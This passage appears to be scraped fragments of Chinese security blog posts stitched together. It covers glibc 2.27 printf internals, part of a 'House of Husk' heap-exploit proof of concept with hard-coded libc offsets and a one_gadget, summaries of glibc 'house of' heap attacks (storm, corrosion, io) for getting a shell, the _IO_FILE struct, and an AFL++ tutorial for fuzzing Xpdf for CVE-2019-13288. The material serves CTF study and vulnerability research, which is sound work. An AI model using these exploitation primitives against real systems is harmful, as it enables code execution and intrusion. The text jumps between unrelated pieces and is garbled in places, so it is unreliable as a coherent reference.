/* Register FUNC to be called to format SPEC specifiers. */ int __register_printf_function (int spec, printf_function converter, printf_arginfo_function arginfo) { return __register_printf_specifier (spec, converter, (printf_arginfo_size_function*) arginfo); } /* Register FUNC to be called to format SPEC specifiers. */ int __register_printf_specifier (int spec, printf_function converter, printf_arginfo_size_function arginfo) { if (spec < 0 || spec > (int) UCHAR_MAX) { __set_errno (EINVAL); return-1; }
int result = 0; __libc_lock_lock (lock);
if (__printf_function_table == NULL) { __printf_arginfo_table = (printf_arginfo_size_function **) calloc (UCHAR_MAX + 1,sizeof (void *) * 2); if (__printf_arginfo_table == NULL) { result = -1; goto out; }
/* Type of a printf specifier-handler function. STREAM is the FILE on which to write output. INFO gives information about the format specification. ARGS is a vector of pointers to the argument data; the number of pointers will be the number returned by the associated arginfo function for the same INFO. The function should return the number of characters written, or -1 for errors. */ typedefintprintf_function(FILE *__stream, conststruct printf_info *__info, constvoid *const *__args);
//glibc-2.27/vfprintf.c:1985 extern printf_function **__printf_function_table; int function_done;
/* Fill in an array of pointers to the argument values. */ for (unsignedint i = 0; i < specs[nspecs_done].ndata_args; ++i) ptr[i] = &args_value[specs[nspecs_done].data_arg + i];
if (function_done != -2) { /* If an error occurred we don't have information about # of chars. */ if (function_done < 0) { /* Function has set errno. */ done = -1; goto all_done; }
/* Type of a printf specifier-arginfo function. INFO gives information about the format specification. N, ARGTYPES, *SIZE has to contain the size of the parameter for user-defined types, and return value are as for parse_printf_format except that -1 should be returned if the handler cannot handle this case. This allows to partially overwrite the functionality of existing format specifiers. */ typedefintprintf_arginfo_size_function(conststruct printf_info *__info, size_t __n, int *__argtypes, int *__size);
//glibc-2.27/printf-parsemb.c:307
/* Get the format specification. */ spec->info.spec = (wchar_t) *format++; spec->size = -1; if (__builtin_expect (__printf_function_table == NULL, 1) || spec->info.spec > UCHAR_MAX || __printf_arginfo_table[spec->info.spec] == NULL /* We don't try to get the types for all arguments if the format uses more than one. The normal case is covered though. If the call returns -1 we continue with the normal specifiers. */ || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec]) (&spec->info, 1, &spec->data_arg_type, &spec->size)) < 0) { /* Find the data argument types of a built-in spec. */ spec->ndata_args = 1;
structprintf_spec { /* Information parsed from the format spec. */ structprintf_infoinfo; /* Pointers into the format string for the end of this format spec and the next (or to the end of the string if no more). */ const UCHAR_T *end_of_fmt, *next_fmt; /* Position of arguments for precision and width, or -1 if `info' has the constant value. */ int prec_arg, width_arg; int data_arg; /* Position of data argument. */ int data_arg_type; /* Type of first argument. */ /* Number of arguments consumed by this format specifier. */ size_t ndata_args; /* Size of the parameter for PA_USER type. */ int size; };
//glibc-2.27/vfprintf.c:1335 /* Use the slow path in case any printf handler is registered. */ if (__glibc_unlikely (__printf_function_table != NULL || __printf_modifier_table != NULL || __printf_va_arg_table != NULL)) goto do_positional;
/* Hand off processing for positional parameters. */
/** * This is a Proof-of-Concept for House of Husk * This PoC is supposed to be run with libc-2.27. */ #include<stdio.h>#include<stdlib.h>#define offset2size(ofs) ((ofs) * 2 - 0x10) #define MAIN_ARENA 0x3ebc40 #define MAIN_ARENA_DELTA 0x60 #define GLOBAL_MAX_FAST 0x3ed940 #define PRINTF_FUNCTABLE 0x3f0658 #define PRINTF_ARGINFO 0x3ec870 #define ONE_GADGET 0x10a38c
/* overwrite __printf_arginfo_table and __printf_function_table */ free(a[1]);// __printf_function_table => a heap_addr which is not NULL free(a[2]);//__printf_arginfo_table => one_gadget
// about mmap (link: https://man7.org/linux/man-pages/man2/mmap.2.html) // 1. SYNOPSIS #include<sys/mman.h> void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
/* 2. DESCRIPTION mmap() creates a new mapping in the virtual address space of the calling process. The starting address for the new mapping is specified in addr. The length argument specifies the length of the mapping (which must be greater than 0).
If addr is NULL, then the kernel chooses the (page-aligned) address at which to create the mapping; this is the most portable method of creating a new mapping. If addr is not NULL, then the kernel takes it as a hint about where to place the mapping; on Linux, the kernel will pick a nearby page boundary (but always above or equal to the value specified by /proc/sys/vm/mmap_min_addr) and attempt to create the mapping there. If another mapping already exists there, the kernel picks a new address that may or may not depend on the hint. The address of the new mapping is returned as the result of the call. ...... */
由 on Linux, the kernel will pick a nearby page boundary (but always above or equal to the value specified by /proc/sys/vm/mmap_min_addr) 可知:Linux 为 mmap 分配虚拟内存时,总是从最接近 addr 的页边缘开始的,而且保证地址不低于 /proc/sys/vm/mmap_min_addr 所指定的值。 可以看到,mmap_min_addr = 65536 = 0x10000,因此刚才判断程序利用 mmap 函数在 0x10000 处开辟一个 page 的空间。
Glibc 的 house of 系列攻击手法基于都是围绕着堆利用和 IO FILE 利用。还有很多堆利用手法也非常经典,但是由于其没有被冠以 house of xxxx,故没有收录到本文中。如果想学习所有的详细的堆攻击手法,强烈建议 follow 仓库 how2heap进行学习。我相信,只要把 how2heap 里面的每一个堆利用手法都学懂学透了,glibc 堆利用你将尽在掌握。
在开始系列总结之前,我会给出一个表格,表格里面分别是 house of xxxx 和对应的优秀的解析文章,在此非常感谢各位师傅们的总结。如果你在阅读本文的过程中想完整地查看某一个手法地详细利用过程,那么可以直接回到表格,点击对应的链接进行学习。目前的最新版本为 2.37,但是,目前的 ubuntu:23.04 还没开始用 glibc-2.37,使用的仍然是 glibc-2.36。
如果还有哪些 house of xxxx 的利用手法没有收录进来,或你对本文存有一些疑问,或者你发现本文某些内容编写错误,还请留言指正。
需要注意的是,除了关注各种 house of 利用技巧本身,更重要的是,需要关注该利用技巧背后的思想和原理。如果你能从这一系列的利用手法中提炼出一些通用的攻击向量或者攻击思想,日后在面对其他的场景,你也能更快的找到系统的漏洞点并加以利用。学习 glibc 堆利用更多的是为了举一反三,为了更好地掌握漏洞挖掘模式、漏洞分析方法,而不仅仅是为了比赛。
house of 系列的表格如下,适用版本不考虑低于 glibc-2.23 的版本。我将在下文中进一步阐述每一个利用手法的原理、使用场景与适用范围。
house of storm 也是一款组合技,利用开启了 PIE 的 x64 程序的堆地址总是 0x55xxxx... 或者 0x56xxxx... 开头这一特性,使用一次 largebin attack 写两个堆地址,使用一次 unsortedbin attack 写一次 libc 地址,可以实现任意地址分配。虽然 house of storm 最后能达到任意地址分配,但是由于其所需的条件比较多,一般可以用其他更简便的堆利用技术代替。利用思路如下:
进行一次 unsortedbin attack,其 bk 修改为 addr
进行一次 largebin attack,其 bk 修改为 addr+0x10,bk_nextsize 修改为 addr-0x20+3
其他步骤和上面的 house of rust 一样,但是到第五步的时候,去修改 global_max_fast
后面的步骤和 house of corrosion 是一样的,通过写原语打 stderr 修改 one_gadget 拿到 shell。
相关技巧
house of crust = house of corrosion + house of rust
2.37 之后,house of corrosion 使用受限
2.19-house of io
漏洞成因
堆溢出
适用范围
2.26—— 至今
利用原理
其他博客上对该方法的介绍如下:
1
The tcache_perthread_object is allocated when the heap is created. Furthermore, it is stored right at the heap's beginning (at a relatively low memory address). The safe-linking mitigation aims to protect the fd/next pointer within the free lists. However, the head of each free-list is not protected. Additionally, freeing a chunk and placing it into the tcachebin also places a non-protected pointer to the appropriate tcache entry in the 2nd qword of a chunks' user data. The House of IO assumes one of three scenarios for the bypass to work. First, any attacker with a controlled linear buffer underflow over a heap buffer, or a relative arbitrary write will be able to corrupt the tcache. Secondly, a UAF bug allowing to read from a freed tcache eligible chunk leaks the tcache and with that, the heap base. Thirdly, a badly ordered set of calls to free(), ultimately passing the address of the tcache itself to free, would link the tcache into the 0x290 sized tcachebin. Allocating it as a new chunk would mean complete control over the tcache's values.
struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */ #define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsignedshort _cur_column; signedchar _vtable_offset; char _shortbuf[1]; /* char* _save_gptr; char* _save_egptr; */ _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE }; struct _IO_FILE_complete { struct _IO_FILE _file; #endif #if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001 _IO_off64_t _offset; # if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T /* Wide character stream stuff. */ struct _IO_codecvt *_codecvt; struct _IO_wide_data *_wide_data; struct _IO_FILE *_freeres_list; void *_freeres_buf; # else void *__pad1; void *__pad2; void *__pad3; void *__pad4; size_t __pad5; int _mode; /* Make sure we don't get into trouble again. */ char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)]; #endif };
在这个练习中,我们将fuzz Xpdf PDF 查看器。目的是在 XPDF 3.02 中找到 CVE-2019-13288 的崩溃/PoC。
CVE-2019-13288 是一个漏洞,它可能会通过精心制作的文件导致无限递归。由于程序中每个被调用的函数都会在栈上分配一个栈帧,如果一个函数被递归调用这么多次,就会导致栈内存耗尽和程序崩溃。因此,远程攻击者可以利用它进行 DoS 攻击。可以在以下链接中找到有关不受控制的递归漏洞的更多信息:https://cwe.mitre.org/data/definitions/674.html
rm -r $HOME/fuzzing_xpdf/install cd $HOME/fuzzing_xpdf/xpdf-3.02/ make clean
现在我们将使用 afl-clang-fast 编译器构建 xpdf:
1 2 3 4
exportLLVM_CONFIG="llvm-config-11" CC=$HOME/AFLplusplus/afl-clang-fast CXX=$HOME/AFLplusplus/afl-clang-fast++ ./configure --prefix="$HOME/fuzzing_xpdf/install/" make make install
rm -r $HOME/fuzzing_xpdf/install cd$HOME/fuzzing_xpdf/xpdf-3.02/ make clean CFLAGS="-g -O0" CXXFLAGS="-g -O0" ./configure --prefix="$HOME/fuzzing_xpdf/install/" make make install